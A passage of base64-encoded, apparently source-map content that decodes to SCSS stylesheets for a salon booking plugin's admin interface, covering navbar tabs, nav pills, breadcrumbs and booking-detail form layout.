jogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC43NSk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX3dyYXBwZXItLXB1c2hlZGRvd24ge1xuICAgICAgICAgICAgICAgIC8vdG9wOiA3NnB4O1xuICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgICAgICAgJi5hZmZpeCB7XG4gICAgICAgICAgICAgICAgdG9wOiA0NnB4O1xuICAgICAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfd3JhcHBlci0tcHVzaGVkZG93biB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogOTBweDtcbiAgICAgICAgICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX2lubmVyIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fY3VycmVudHRhYiB7XG4gICAgICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlci5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXItLWxlZnQge1xuICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDgwMHB4KSB7XG4gICAgICAgICAgICAvL0BpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbiAgICAgICAgICAgIHdpZHRoOiBjYWxjKDEwMCUgKyAxMHB4KTtcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiA0NHB4O1xuICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiA1NHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDEwcHg7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlci0tbGVmdCB7XG4gICAgICAgICAgICAgICAgbGVmdDogMTBweDtcbiAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXIuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLS1yaWdodCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuYWZmaXgge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB0b3A6IDMycHg7XG4gICAgICAgICAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgbGVmdDogMTYwcHg7XG4gICAgICAgICAgICAgICAgd2lkdGg6IGF1dG87XG4gICAgICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl93cmFwcGVyLS1wdXNoZWRkb3duIHtcbiAgICAgICAgICAgICAgICAgICAgdG9wOiA3NnB4O1xuICAgICAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXIuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLS1sZWZ0IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxlZnQ6IDA7XG4gICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LCAwLjUpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogNDRweDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfaW5uZXIge1xuICAgICAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogOThweDtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgICAgICBsZWZ0OiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlci0tbGVmdCB7XG4gICAgICAgICAgICAgICAgICAgIGxlZnQ6IDQ0cHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNDRweDtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDg4cHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5uYXYubmF2LXBpbGxzIHtcbiAgICAgICAgICAgIG1hcmdpbjogMDtcbiAgICAgICAgICAgIGxpIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgbGkgKyBsaSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJpdGVtOmZpcnN0LWNoaWxkIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMTBweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGEge1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC43NXJlbTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1jbF9tYWluO1xuICAgICAgICAgICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGNvbG9yIDI1MG1zKTtcbiAgICAgICAgICAgICAgICBzcGFuIHtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiBpbmhlcml0O1xuICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICAgICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgICAgICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgICAgICAgICAgICAgIC8vYm9yZGVyLWJvdHRvbTogNHB4IHNvbGlkO1xuICAgICAgICAgICAgICAgICAgICAvL2JvcmRlci1ib3R0b20tY29sb3I6ICRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICAgICAgICAgICAgLy9ib3JkZXItYm90dG9tLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYm9yZGVyLWJvdHRvbS1jb2xvciAyNTBtcyk7XG4gICAgICAgICAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogXCJcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA2cHg7XG4gICAgICAgICAgICAgICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICAgICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3IgMjUwbXMsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0IDE3NW1zXG4gICAgICAgICAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAgICAgICAgICAgICBzcGFuIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZXhhbXBsZSB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgNTAlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIDEwMCUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgID4gbGkuYWN0aXZlID4gYSB7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1jbF9tYWluO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICAgICAgc3BhbiB7XG4gICAgICAgICAgICAgICAgICAgIC8vYm9yZGVyLWJvdHRvbS1jb2xvcjogJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgICAgICAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDJweDtcbiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvbi1uYW1lOiBleGFtcGxlO1xuICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAyNTBtcztcbiAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJi5hZmZpeCAubmF2Lm5hdi1waWxscyB7XG4gICAgICAgICAgICBhLFxuICAgICAgICAgICAgPiBsaS5hY3RpdmUgPiBhIHtcbiAgICAgICAgICAgICAgICBAZXh0ZW5kICVmb250LWNsX21haW47XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC43NSk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1zYWxvbi0tYWRtaW5fX2JyZWFkY3J1bWJzIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgICAgZm9udC1mYW1pbHk6IHR5cG8tYWRtaW4uJGZvbnRmYW1pbHktLW1haW47XG4gICAgICAgIGZvbnQtc2l6ZTogMC44NzVyZW07XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxLjM3NWVtO1xuICAgICAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgICAgICBzcGFuICsgc3BhbiB7XG4gICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICBsaW5lLWhlaWdodDogNDRweDtcbiAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCIvXCI7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMCA2cHggMCA0cHg7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgYSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICBsaW5lLWhlaWdodDogNDRweDtcbiAgICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzLS1ob3ZlcjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG4vLy5hdXRvLWZvbGQgI3Nsbi1zYWxvbi0tYWRtaW4uc2xuLXNhbG9uLS1zZXR0aW5ncyxcbi5mb2xkZWQgI3Nsbi1zYWxvbi0tYWRtaW4uc2xuLXNhbG9uLS1zZXR0aW5ncyB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA4MDBweCkge1xuICAgICAgICAvL0BpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbiAgICAgICAgLnNsbi1hZG1pbi1zaWRlYmFyLFxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfd3JhcHBlci5hZmZpeCxcbiAgICAgICAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyLmFmZml4LnNsbi1uYXYtdGFiLXdyYXBwZXItLWludmlldyxcbiAgICAgICAgaDIuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIuYWZmaXguc2xuLW5hdi10YWItd3JhcHBlci0taW52aWV3IHtcbiAgICAgICAgICAgIGxlZnQ6IDM2cHg7XG4gICAgICAgIH1cbiAgICB9XG59XG4iLCJAdXNlIFwiLi4vYWRtaW5fY29uZmlnXCI7XG5AdXNlIFwiLi4vY29sb3JzLW51XCI7XG5AdXNlIFwiLi4vdHlwby1hZG1pblwiO1xuQHVzZSBcImJ1dHRvbnNcIjtcbkB1c2UgXCJpbnB1dHNcIjtcbkB1c2UgXCJib3hlc1wiO1xuXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vIC8vLyBCT09LSU5HXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcblxuI3Nsbi1zYWxvbi0tYWRtaW4gI2RldGFpbHNXcmFwcGVyIHtcblx0d2lkdGg6IDEwMCU7XG5cdG9wYWNpdHk6IDEgIWltcG9ydGFudDtcbn1cbiNzbG5fYm9va2luZy1kZXRhaWxzIHtcblx0KiB7XG5cdFx0LXdlYmtpdC1ib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdC1tb3otYm94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHR9XG5cdC5yb3cuZm9ybS1pbmxpbmUge1xuXHRcdC8vQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiAxMDI0cHgpIGFuZCAobWF4LXdpZHRoOiAxMjc5cHgpIHtcblx0XHQvLyAgLmNvbC1tZC02IHtcblx0XHQvLyAgICB3aWR0aDogMTAwJTtcblx0XHQvLyAgfVxuXHRcdC8vICAuY29sLW1kLTY6bnRoLWNoaWxkKDIpIHtcblx0XHQvLyAgICBtYXJnaW4tdG9wOiAxZW07XG5cdFx0Ly8gIH1cblx0XHQvL31cblxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdC5mb3JtLWNvbnRyb2wge1xuXHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdH1cblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG5cdFx0XHRzZWxlY3Qge1xuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAxZW07XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC8vLnNsbl9tZXRhX2ZpZWxkIHtcblx0Ly8gIC5yb3c6YmVmb3JlIHtcblx0Ly8gICAgY29udGVudDogXCJcIjtcblx0Ly8gICAgZGlzcGxheTogYmxvY2s7XG5cdC8vICAgIHdpZHRoOiA5NSU7XG5cdC8vICAgIGhlaWdodDogMXB4O1xuXHQvLyAgICAvL2JhY2tncm91bmQtY29sb3I6ICNmOWY5Zjk7XG5cdC8vICAgIGJvcmRlci10b3A6IDFweCBkb3R0ZWQgI2VlZTtcblx0Ly8gICAgbWFyZ2luOiAxNXB4IDE4cHg7XG5cdC8vICB9XG5cdC8vfVxuXHR0ZXh0YXJlYSNfc2xuX2Jvb2tpbmdfbm90ZSB7XG5cdFx0bWluLWhlaWdodDogMTUwcHg7XG5cdFx0bWFyZ2luLXJpZ2h0OiAxOHB4O1xuXHR9XG5cblx0LnNsbl9ib29raW5nLXNlcnZpY2UtcHJpY2Uge1xuXHRcdGZvbnQtc2l6ZTogMS4xZW07XG5cdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG5cdFx0XHRtYXJnaW4tdG9wOiAwLjRlbTtcblx0XHR9XG5cdH1cblxuXHQuc2xuX2Jvb2tpbmctc2VydmljZS1pbmZvIHtcblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdGxhYmVsIHtcblx0XHRcdFx0cGFkZGluZy1yaWdodDogMWVtO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXG5cdGxhYmVsIHtcblx0XHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRcdHN0cm9uZyB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdGZvbnQtc2l6ZTogMS4xZW07XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwLjRlbTtcblx0XHR9XG5cdH1cblxuXHQuc2xuX2Jvb2tpbmctdG9wYnV0dG9ucyB7XG5cdFx0cGFkZGluZy1ib3R0b206IDFlbTtcblx0XHRtYXJnaW46IDFlbSAwIDEuNWVtIDA7XG5cdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNkZGQ7XG5cdFx0LnJvdyB7XG5cdFx0XHRwYWRkaW5nOiAxZW0gMDtcblx0XHR9XG5cdFx0LnNsbl9hY2NlcHQtcmVmdXNlIHtcblx0XHRcdGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2RkZDtcblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wLXhsKSB7XG5cdFx0XHRcdHBhZGRpbmctbGVmdDogOS43NSU7XG5cdFx0XHR9XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcblx0XHRcdFx0Ym9yZGVyLWxlZnQ6IG5vbmU7XG5cdFx0XHRcdGJvcmRlci10b3A6IDFweCBzb2xpZCAjZGRkO1xuXHRcdFx0XHRtYXJnaW4tdG9wOiAxZW07XG5cdFx0XHRcdHBhZGRpbmctdG9wOiAxZW07XG5cdFx0XHRcdC5yb3cge1xuXHRcdFx0XHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0aDIge1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRcdG1hcmdpbi10b3A6IDA7XG5cdFx0XHRmb250LXNpemU6IDEuM2VtO1xuXHRcdH1cblx0XHQuYnRuIHtcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0Zm9udC1zaXplOiAxOHB4O1xuXHRcdFx0bWFyZ2luLXRvcDogLTJweDtcblx0XHRcdG1hcmdpbi1yaWdodDogMDtcblx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdFx0cGFkZGluZzogNnB4IDA7XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0LXBvcnQpIHtcblx0XHRcdFx0cGFkZGluZzogNXB4IDA7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMjBweDtcblx0XHRcdH1cblx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuXHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdFx0bWFyZ2luLXRvcDogMC42ZW07XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5mb3JtLWdyb3VwIHtcblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDc2OHB4KSB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXHQuc2xuLXNlcGFyYXRvciB7XG5cdFx0bWFyZ2luOiAwLjVlbSBhdXRvIDEuNWVtIGF1dG87XG5cdFx0Ym9yZGVyLXRvcC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9ncmV5LS1saWdodGVyO1xuXHR9XG5cdC5zbG5fYm9va2luZy1kZXRhaWxzX19ub3RlcyB7XG5cdFx0dGV4dGFyZWEsXG5cdFx0dGV4dGFyZWEjX3Nsbl9ib29raW5nX25vdGUge1xuXHRcdFx0bWluLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNTBweCk7XG5cdFx0fVxuXHR9